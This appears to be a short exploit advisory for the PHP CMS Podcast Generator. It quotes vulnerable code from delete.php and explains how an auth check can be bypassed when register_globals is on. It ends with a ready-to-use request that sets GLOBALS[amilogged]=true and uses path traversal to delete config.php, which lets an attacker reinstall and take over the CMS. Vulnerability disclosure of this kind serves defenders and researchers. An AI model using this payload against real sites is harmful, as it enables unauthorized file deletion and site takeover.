# url: http://podcastgen.sourceforge.net
# --------------------------------------
#
# it works with register_globals=on
#
# short explanation:
#
# ----------------------------------------
# Podcast Generator contains one flaw that
# allows an attacker to re-install the cms
# because of unlink() in 'delete.php' file
# ----------------------------------------
# Look at '/core/admin/delete.php'
# (removed author's comments)
/*

<?php
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path']))
{  exit; } <-------- {1}

if ($amilogged != "true") { exit; } <-------{2}

    if (isset($_GET['file']) AND $_GET['file']!=NULL) {
    $file = $_GET['file'];
     $ext = $_GET['ext'];

	if (file_exists("$absoluteurl$upload_dir$file.$ext")) {
		unlink ("$upload_dir$file.$ext"); <--------{3}
		$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";
	}

#
# Explanation (code snippet above [points])
# -----------------------------------------------------------------------------------
# 1. blocks all 'amilogged' REQUEST variables,what about GLOBALS?,therefore useless!
# 2. if 'amilogged' isn't true -> exit() function activated.
# 3. unlink() delete an existing file.
# -----------------------------------------------------------------------------------
#
# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'
# set to true. We can do it using a GLOBALS variable.
#
# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php
